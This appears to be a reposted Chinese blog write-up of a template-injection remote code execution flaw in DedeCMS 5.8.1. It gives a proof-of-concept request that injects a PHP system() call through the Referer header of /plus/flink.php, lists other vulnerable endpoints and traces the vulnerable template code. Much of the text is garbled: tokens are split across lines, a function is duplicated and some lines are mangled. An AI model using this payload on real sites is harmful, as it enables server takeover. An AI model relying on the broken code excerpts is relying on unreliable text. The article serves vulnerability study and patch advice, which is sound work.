漏洞類型
SSTI RCE
利用條件
影響范圍應用
漏洞概述
2021年9月30日,國外安全研究人員Steven Seeley披露了最新的DedeCMS版本中存在的一處SQL注入漏洞以及一處SSTI導致的RCE漏洞,由于SQL注入漏洞利用條件極為苛刻,故這里只對該SSTI注入漏洞進行簡要分析復現
漏環境搭建
【技術學習資料】
漏洞復現
這里使用phpstudy來搭建環境
網站前臺:http://192.168.59.1/index.php?upcache=1
網站后臺: http://192.168.59.1/dede/login.php?gotopa…
漏洞利用
GET
/plus
/flink
.php
?dopost
=save HTTP
/1.1
Host
: 192.168.59.1
Referer
: <?php
"system"(whoami
);die
;*;q
=0.8,application
/signed-exchange
;v
=b3
;q
=0.9
Accept
-Encoding
: gzip
, deflate
Accept
-Language
: zh
-CN
,zh
;q
=0.9
Cookie
: PHPSESSID
=rh4vs9n0m1ihpuguuok4oinerr
; _csrf_name_26859a31
=736abb4d994bae3b85bba1781e8a50f9
; _csrf_name_26859a31__ckMd5
=0f32d9d2b18e1390
Connection
: close
類似的URL還有:
/plus
/flink
.php
?dopost
=save
/plus
/users_products
.php
?oid
=1337
/plus
/download
.php
?aid
=1337
/plus
/showphoto
.php
?aid
=1337
/plus
/users
-do.php
?fmdo
=sendMail
/plus
/posttocar
.php
?id
=1337
/plus
/recommend
.php
漏洞分析
漏洞入口位于plus/flink.php文件中,在該文件中如果我們傳入的dopost值為save且未傳遞驗證碼時,緊接著會去調用ShowMsg函數:
之后跟蹤進入到include/common.func.php文件中的ShowMsg()函數內
function
ShowMsg($msg
, $gourl
, $onlymsg
= 0, $limittime
= 0)
{if (empty($GLOBALS
['cfg_plus_dir'])) {$GLOBALS
['cfg_plus_dir'] = '..';}if ($gourl
== -1) {$gourl
= isset($_SERVER
['HTTP_REFERER']) ? $_SERVER
['HTTP_REFERER'] : '';if ($gourl
== "") {$gourl
= -1;}}$htmlhead
= "
<html
>\r\n
<head
>\r\n
<title
>DedeCMS提示信息
</title
>\r\n
<meta http
-equiv
=\"Content
-Type\" content
=\"text
/html
; charset
={dede
:global
.cfg_soft_lang
/}\"
/><meta name
=\"viewport\" content
=\"width
=device
-width
, initial
-scale
=1, maximum
-scale
=1, user
-scalable
=no\"
><meta name
=\"renderer\" content
=\"webkit\"
><meta http
-equiv
=\"Cache
-Control\" content
=\"no
-siteapp\"
/><link rel
=\"stylesheet\" type
=\"text
/css\" href
=\"
{dede
:global
.cfg_assets_dir
/}/pkg
/uikit
/css
/uikit
.min
.css\"
/><link rel
=\"stylesheet\" type
=\"text
/css\" href
=\"
{dede
:global
.cfg_assets_dir
/}/css
/manage
.dede
.css\"
><base target
='_self'/></head
><body
>" . (isset($GLOBALS['ucsynlogin']) ? $GLOBALS['ucsynlogin'] : '') . "<center style
=\"width
:450px\" class
=\"uk
-container\"
><div class
=\"uk
-card uk
-card
-small uk
-card
-default\" style
=\"margin
-top
: 50px
;\"
><div class
=\"uk
-card
-header\" style
=\"height
:20px\"
>DedeCMS 提示信息!
</div
><script
>\r\n"
;$htmlfoot
= "
</script
></center
><script src
=\"
{dede
:global
.cfg_assets_dir
/}/pkg
/uikit
/js
/uikit
.min
.js\"
></script
><script src
=\"
{dede
:global
.cfg_assets_dir
/}/pkg
/uikit
/js
/uikit
-icons
.min
.js\"
></script
></body
>\r\n
</html
>\r\n"
;$litime
= ($limittime
== 0 ? 1000 : $limittime
);$func
= '';if ($gourl
== '-1') {if ($limittime
== 0) {$litime
= 3000;}$gourl
= "javascript:history.go(-1);";}if ($gourl
== '' || $onlymsg
== 1) {$msg
= "<script>alert(\"" . str_replace("\"", "“", $msg
) . "\");</script>";} else {if (preg_match('/close::/', $gourl
)) {$tgobj
= trim(preg_replace('/close::/', '', $gourl
));$gourl
= 'javascript:;';$func
.= "window.parent.document.getElementById('{$tgobj}').style.display='none';\r\n";}$func
.= "var pgo
=0;function
JumpUrl(){if(pgo
==0){ location
='$gourl'; pgo
=1; }}\r\n"
;$rmsg
= $func
;$rmsg
.= "document.write(\"<div style='height:130px;font-size:10pt;background:#ffffff'><br />\");\r\n";$rmsg
.= "document.write(\"" . str_replace("\"", "“", $msg
) . "\");\r\n";$rmsg
.= "document.write(\"";if ($onlymsg
== 0) {if ($gourl
!= 'javascript:;' && $gourl
!= '') {$rmsg
.= "<br /><a href='{$gourl}'>如果你的瀏覽器沒反應,請點擊這里...</a>";$rmsg
.= "<br/></div>\");\r\n";$rmsg
.= "setTimeout('JumpUrl()',$litime);";} else {$rmsg
.= "<br/></div>\");\r\n";}} else {$rmsg
.= "<br/><br/></div>\");\r\n";}$msg
= $htmlhead
. $rmsg
. $htmlfoot
;}$tpl
= new
DedeTemplate();$tpl
->LoadString($msg
);$tpl
->Display();
}
在這里我們可以看到如果gourl被設置為?1(間接可控),則攻擊者可以通過HTTPREFERER控制gourl處變量的值,而該變量未經過濾直接賦值給變量gourl,之后經過一系列的操作之后將gourl與html代碼拼接處理后轉而調用tpl?>LoadString進行頁面渲染操作,之后跟進LoadString可以看到此處的sourceString變量直接由str賦值過來,該變量攻擊者可控,之后將其進行一次md5計算,然后設置緩存文件和緩存配置文件名,緩存文件位于data\tplcache目錄,之后調用ParserTemplate對文件進行解析:
ParserTemplate如下:
public function
ParseTemplate(){if ($this
->makeLoop
> 5) {return;}$this
->count
= -1;$this
->cTags
= array();$this
->isParse
= true
;$sPos
= 0;$ePos
= 0;$tagStartWord
= $this
->tagStartWord
;$fullTagEndWord
= $this
->fullTagEndWord
;$sTagEndWord
= $this
->sTagEndWord
;$tagEndWord
= $this
->tagEndWord
;$startWordLen
= strlen($tagStartWord
);$sourceLen
= strlen($this
->sourceString
);if ($sourceLen
<= ($startWordLen
+ 3)) {return;}$cAtt
= new
TagAttributeParse();$cAtt
->CharToLow
= true
;$t
= 0;$preTag
= '';$tswLen
= strlen($tagStartWord
);@$cAtt
->cAttributes
->items
= array();for ($i
= 0; $i
< $sourceLen
; $i
++) {$ttagName
= '';if ($i
- 1 >= 0) {$ss
= $i
- 1;} else {$ss
= 0;}$tagPos
= strpos($this
->sourceString
, $tagStartWord
, $ss
);if ($tagPos
== 0 && ($sourceLen
- $i
< $tswLen
|| substr($this
->sourceString
, $i
, $tswLen
) != $tagStartWord
)) {$tagPos
= -1;break;}for ($j
= $tagPos
+ $startWordLen
; $j
< $tagPos
+ $startWordLen
+ $this
->tagMaxLen
; $j
++) {if (preg_match("/[ >\/\r\n\t\}\.]/", $this
->sourceString
[$j
])) {break;} else {$ttagName
.= $this
->sourceString
[$j
];}}if ($ttagName
!= '') {$i
= $tagPos
+ $startWordLen
;$endPos
= -1;$fullTagEndWordThis
= $fullTagEndWord
. $ttagName
. $tagEndWord
;$e1
= strpos($this
->sourceString
, $sTagEndWord
, $i
);$e2
= strpos($this
->sourceString
, $tagStartWord
, $i
);$e3
= strpos($this
->sourceString
, $fullTagEndWordThis
, $i
);$e1
= trim($e1
);$e2
= trim($e2
);$e3
= trim($e3
);$e1
= ($e1
== '' ? '-1' : $e1
);$e2
= ($e2
== '' ? '-1' : $e2
);$e3
= ($e3
== '' ? '-1' : $e3
);if ($e3
== -1) {$endPos
= $e1
;$elen
= $endPos
+ strlen($sTagEndWord
);} else if ($e1
== -1) {$endPos
= $e3
;$elen
= $endPos
+ strlen($fullTagEndWordThis
);}else {if ($e1
< $e2
&& $e1
< $e3
) {$endPos
= $e1
;$elen
= $endPos
+ strlen($sTagEndWord
);} else {$endPos
= $e3
;$elen
= $endPos
+ strlen($fullTagEndWordThis
);}}if ($endPos
== -1) {echo
"Tpl Character postion $tagPos, '$ttagName' Error!<br />\r\n";break;}$i
= $elen
;$attStr
= '';$innerText
= '';$startInner
= 0;for ($j
= $tagPos
+ $startWordLen
; $j
< $endPos
; $j
++) {if ($startInner
== 0) {if ($this
->sourceString
[$j
] == $tagEndWord
) {$startInner
= 1;continue;} else {$attStr
.= $this
->sourceString
[$j
];}} else {$innerText
.= $this
->sourceString
[$j
];}}$ttagName
= strtolower($ttagName
);if (preg_match("/^if[0-9]{0,}$/", $ttagName
)) {$cAtt
->cAttributes
= new
TagAttribute();$cAtt
->cAttributes
->count
= 2;$cAtt
->cAttributes
->items
['tagname'] = $ttagName
;$cAtt
->cAttributes
->items
['condition'] = preg_replace("/^if[0-9]{0,}[\r\n\t ]/", "", $attStr
);$innerText
= preg_replace("/\{else\}/i", '<' . "?php\r\n}\r\nelse{\r\n" . '?' . '>', $innerText
);} else if ($ttagName
== 'php') {$cAtt
->cAttributes
= new
TagAttribute();$cAtt
->cAttributes
->count
= 2;$cAtt
->cAttributes
->items
['tagname'] = $ttagName
;$cAtt
->cAttributes
->items
['code'] = '<' . "?php\r\n" . trim(preg_replace("/^php[0-9]{0,}[\r\n\t ]/","", $attStr
)) . "\r\n?" . '>';} else {$cAtt
->SetSource($attStr
);}$this
->count
++;$cTag
= new
Tag();$cTag
->tagName
= $ttagName
;$cTag
->startPos
= $tagPos
;$cTag
->endPos
= $i
;$cTag
->cAtt
= $cAtt
->cAttributes
;$cTag
->isCompiler
= false
;$cTag
->tagID
= $this
->count
;$cTag
->innerText
= $innerText
;$this
->cTags
[$this
->count
] = $cTag
;} else {$i
= $tagPos
+ $startWordLen
;break;}} if ($this
->count
> -1 && $this
->isCompiler
) {$this
->CompilerAll();}}
之后返回上一級,在這里會緊接著調用Display函數對解析結果進行展示,在這里會調用WriteCache函數
ParserTemplate如下:
/**
* 解析模板
*
* @access public
* @return void
*/
public function ParseTemplate()
{
if ($this->makeLoop > 5) {
return;
}
$this->count = -1;
$this->cTags = array();
$this->isParse = true;
$sPos = 0;
$ePos = 0;
$tagStartWord = $this->tagStartWord;
$fullTagEndWord = $this->fullTagEndWord;
$sTagEndWord = $this->sTagEndWord;
$tagEndWord = $this->tagEndWord;
startWordLen=strlen(startWordLen = strlen(startWordLen=strlen(tagStartWord);
sourceLen=strlen(sourceLen = strlen(sourceLen=strlen(this->sourceString);
if (sourceLen<=(sourceLen <= (sourceLen<=(startWordLen + 3)) {
return;
}
$cAtt = new TagAttributeParse();
$cAtt->CharToLow = true;
//遍歷模板字符串,請取標記及其屬性信息$t = 0;$preTag = '';$tswLen = strlen($tagStartWord);@$cAtt->cAttributes->items = array();for ($i = 0; $i < $sourceLen; $i++) {$ttagName = '';//如果不進行此判斷,將無法識別相連的兩個標記if ($i - 1 >= 0) {$ss = $i - 1;} else {$ss = 0;}$tagPos = strpos($this->sourceString, $tagStartWord, $ss);//判斷后面是否還有模板標記if ($tagPos == 0 && ($sourceLen - $i < $tswLen|| substr($this->sourceString, $i, $tswLen) != $tagStartWord)) {$tagPos = -1;break;}//獲取TAG基本信息for ($j = $tagPos + $startWordLen; $j < $tagPos + $startWordLen + $this->tagMaxLen; $j++) {if (preg_match("/[ >\/\r\n\t\}\.]/", $this->sourceString[$j])) {break;} else {$ttagName .= $this->sourceString[$j];}}if ($ttagName != '') {$i = $tagPos + $startWordLen;$endPos = -1;//判斷 '/}' '{tag:下一標記開始' '{/tag:標記結束' 誰最靠近$fullTagEndWordThis = $fullTagEndWord . $ttagName . $tagEndWord;$e1 = strpos($this->sourceString, $sTagEndWord, $i);$e2 = strpos($this->sourceString, $tagStartWord, $i);$e3 = strpos($this->sourceString, $fullTagEndWordThis, $i);$e1 = trim($e1);$e2 = trim($e2);$e3 = trim($e3);$e1 = ($e1 == '' ? '-1' : $e1);$e2 = ($e2 == '' ? '-1' : $e2);$e3 = ($e3 == '' ? '-1' : $e3);if ($e3 == -1) {//不存在'{/tag:標記'$endPos = $e1;$elen = $endPos + strlen($sTagEndWord);} else if ($e1 == -1) {//不存在 '/}'$endPos = $e3;$elen = $endPos + strlen($fullTagEndWordThis);}//同時存在 '/}' 和 '{/tag:標記'else {//如果 '/}' 比 '{tag:'、'{/tag:標記' 都要靠近,則認為結束標志是 '/}',否則結束標志為 '{/tag:標記'if ($e1 < $e2 && $e1 < $e3) {$endPos = $e1;$elen = $endPos + strlen($sTagEndWord);} else {$endPos = $e3;$elen = $endPos + strlen($fullTagEndWordThis);}}//如果找不到結束標記,則認為這個標記存在錯誤if ($endPos == -1) {echo "Tpl Character postion $tagPos, '$ttagName' Error!<br />\r\n";break;}$i = $elen;//分析所找到的標記位置等信息$attStr = '';$innerText = '';$startInner = 0;for ($j = $tagPos + $startWordLen; $j < $endPos; $j++) {if ($startInner == 0) {if ($this->sourceString[$j] == $tagEndWord) {$startInner = 1;continue;} else {$attStr .= $this->sourceString[$j];}} else {$innerText .= $this->sourceString[$j];}}$ttagName = strtolower($ttagName);//if、php標記,把整個屬性串視為屬性if (preg_match("/^if[0-9]{0,}$/", $ttagName)) {$cAtt->cAttributes = new TagAttribute();$cAtt->cAttributes->count = 2;$cAtt->cAttributes->items['tagname'] = $ttagName;$cAtt->cAttributes->items['condition'] = preg_replace("/^if[0-9]{0,}[\r\n\t ]/", "", $attStr);$innerText = preg_replace("/\{else\}/i", '<' . "?php\r\n}\r\nelse{\r\n" . '?' . '>', $innerText);} else if ($ttagName == 'php') {$cAtt->cAttributes = new TagAttribute();$cAtt->cAttributes->count = 2;$cAtt->cAttributes->items['tagname'] = $ttagName;$cAtt->cAttributes->items['code'] = '<' . "?php\r\n" . trim(preg_replace("/^php[0-9]{0,}[\r\n\t ]/","", $attStr)) . "\r\n?" . '>';} else {//普通標記,解釋屬性$cAtt->SetSource($attStr);}$this->count++;$cTag = new Tag();$cTag->tagName = $ttagName;$cTag->startPos = $tagPos;$cTag->endPos = $i;$cTag->cAtt = $cAtt->cAttributes;$cTag->isCompiler = false;$cTag->tagID = $this->count;$cTag->innerText = $innerText;$this->cTags[$this->count] = $cTag;} else {$i = $tagPos + $startWordLen;break;}} //結束遍歷模板字符串if ($this->count > -1 && $this->isCompiler) {$this->CompilerAll();}
}
之后返回上一級,在這里會緊接著調用Display函數對解析結果進行展示,在這里會調用WriteCache函數
在WriteCache函數中寫入緩存文件:
在這里使用GetResult返回值sourceString來設置$result變量,該變量包含攻擊者控制的輸入數據:
之后調用CheckDisabledFunctions函數進行檢查操作,該函數主要用于檢查是否存在被禁止的函數,然后通過token_get_all_nl函數獲取輸入,然而處理時并沒有過濾雙引號,存在被繞過的風險,攻擊者可以通過將惡意PHP寫到臨時文件,之后在Display函數處通過include $tpl->CacheFile()將惡意臨時文件包含進來從而實現遠程代碼執行:
安全建議
目前官方已發布最新版本:DedeCMS V5.7.80 UTF-8正式版,建議升級到該版本
點擊獲取【網絡安全學習資料·攻略】
總結
以上是生活随笔為你收集整理的【安全漏洞】DedeCMS-5.8.1 SSTI模板注入导致RCE的全部內容,希望文章能夠幫你解決所遇到的問題。
如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。